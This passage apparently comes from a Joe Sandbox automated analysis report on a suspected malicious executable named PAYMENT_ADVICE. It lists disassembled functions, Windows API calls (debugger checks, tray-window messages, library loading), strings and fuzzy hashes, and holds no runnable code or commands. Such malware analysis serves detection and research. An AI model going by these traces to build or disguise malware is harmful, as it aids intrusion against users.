                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 372448540-1403004172
                                                              • Opcode ID: 2bd916b9c3d85987c274d38dd65e2ca5ab51d4ab4f6eff49e84c7bf123f97572
                                                              • Instruction ID: 2392b70bfa25e56aa756c40588b370fd5ee44a0263ebcc13a53e24f1e258196f
                                                              • Opcode Fuzzy Hash: 2bd916b9c3d85987c274d38dd65e2ca5ab51d4ab4f6eff49e84c7bf123f97572
                                                              • Instruction Fuzzy Hash: 2F01A272A55509ABDF13EBA4C952EFE77AC9F16340F100015F805AB292DE259E18D2B1
                                                              Function 0039C4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 0039C534
                                                                • Part of subcall function 0039C816: _memmove.LIBCMT ref: 0039C860
                                                                • Part of subcall function 0039C816: VariantInit.OLEAUT32(00000000), ref: 0039C882
                                                                • Part of subcall function 0039C816: VariantCopy.OLEAUT32(00000000,?), ref: 0039C88C
                                                              • VariantClear.OLEAUT32(?), ref: 0039C556
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Variant$Init$ClearCopy_memmove
                                                              • String ID: d}?
                                                              • API String ID: 2932060187-2624098408
                                                              • Opcode ID: b7e4d1a84f31824c4c701caf3599513dad4e75811dfa2729b886ccc9b2cd4f92
                                                              • Instruction ID: 6e4c08883328d429486a9c097be3bee68a8ef58cfd976e454a9b4268ef63315a
                                                              • Opcode Fuzzy Hash: b7e4d1a84f31824c4c701caf3599513dad4e75811dfa2729b886ccc9b2cd4f92
                                                              • Instruction Fuzzy Hash: B01100719007089FC711DF9AD88499BF7F8FF08310B50852FE58AD7611D771AA44CB50
                                                              Function 003A4F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClassName_wcscmp
                                                              • String ID: #32770
                                                              • API String ID: 2292705959-463685578
                                                              • Opcode ID: ed00dc63669f5b474b4598915d18f3546a17162a6318e64bc3b6fe683df4bb5c
                                                              • Instruction ID: fbc6f645bdf4ab3b6dc422180f570bcc79c145ac1ac5ce7bb71d407ad42d2763
                                                              • Opcode Fuzzy Hash: ed00dc63669f5b474b4598915d18f3546a17162a6318e64bc3b6fe683df4bb5c
                                                              • Instruction Fuzzy Hash: 65E0D13350422C2BD7119755AC45FA7F7ECDB85B71F010067FD04D7051D5709A558BE0
                                                              Function 0037B2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0037B314: _memset.LIBCMT ref: 0037B321
                                                                • Part of subcall function 00360940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0037B2F0,?,?,?,0034100A), ref: 00360945
                                                              • IsDebuggerPresent.KERNEL32(?,?,?,0034100A), ref: 0037B2F4
                                                              • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0034100A), ref: 0037B303
                                                              Strings
                                                              • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0037B2FE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
                                                              • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                              • API String ID: 3158253471-631824599
                                                              • Opcode ID: 142b6ff1d7d6a92454d35996cda722fcaadb04ad4bdfd3018e028e0e56f68f62
                                                              • Instruction ID: 9b085dde63047e27e5e53d38eedba715f6213047395f2f80660f440468e893c2
                                                              • Opcode Fuzzy Hash: 142b6ff1d7d6a92454d35996cda722fcaadb04ad4bdfd3018e028e0e56f68f62
                                                              • Instruction Fuzzy Hash: C1E06578200B548FE7329F25D504743BAE8EF00304F008A6CE445CB250E7B8E444CBA1
                                                              Function 00381935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSystemDirectoryW.KERNEL32(?), ref: 00381775
                                                                • Part of subcall function 003BBFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,0038195E,?), ref: 003BBFFE
                                                                • Part of subcall function 003BBFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 003BC010
                                                              • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0038196D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Library$AddressDirectoryFreeLoadProcSystem
                                                              • String ID: WIN_XPe
                                                              • API String ID: 582185067-3257408948
                                                              • Opcode ID: 4398304e893b1303709698f936ac2407ccff6127a3d82da290bbd5c8e46ac087
                                                              • Instruction ID: b2e32753a39ed774c4c2bf876384e1d04471f604d5f45047a8739ebad8c368c7
                                                              • Opcode Fuzzy Hash: 4398304e893b1303709698f936ac2407ccff6127a3d82da290bbd5c8e46ac087
                                                              • Instruction Fuzzy Hash: 55F0C971801209DFDB16EB91C984AECBBFCAB08305F5504D9F102A64A0D7755F85DF64
                                                              Function 003C5964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 003C596E
                                                              • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 003C5981
                                                                • Part of subcall function 003A5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003A52BC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FindMessagePostSleepWindow
                                                              • String ID: Shell_TrayWnd
                                                              • API String ID: 529655941-2988720461
                                                              • Opcode ID: 6516733cc7d3ad8d1835a1dc5329e26a359fd5bd12763b16948117cdcb5bf0ab
                                                              • Instruction ID: 741216a036117357188edec97117538571ba81d9c0a850ca3cc9812bf59c3f7d
                                                              • Opcode Fuzzy Hash: 6516733cc7d3ad8d1835a1dc5329e26a359fd5bd12763b16948117cdcb5bf0ab
                                                              • Instruction Fuzzy Hash: D9D0C931384711BBE669AB709C0BFE66A29AB11B51F000825B34AEA1D0C9E4A800C754
                                                              Function 003C5998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 003C59AE
                                                              • PostMessageW.USER32(00000000), ref: 003C59B5
                                                                • Part of subcall function 003A5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003A52BC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FindMessagePostSleepWindow
                                                              • String ID: Shell_TrayWnd
                                                              • API String ID: 529655941-2988720461
                                                              • Opcode ID: 5623709e72e038cbc720c70ed67a8b4977e7f04c3e5bb20f2001d64e51ffdf3c
                                                              • Instruction ID: d65c8bf8933b3572a00c06dedd6d6971cd778390da86d4e5706401dc655f20c7
                                                              • Opcode Fuzzy Hash: 5623709e72e038cbc720c70ed67a8b4977e7f04c3e5bb20f2001d64e51ffdf3c
                                                              • Instruction Fuzzy Hash: 29D0C9313807117BE66AAB709C0BFD66629AB16B51F000825B34AEA1D0C9E4A800C758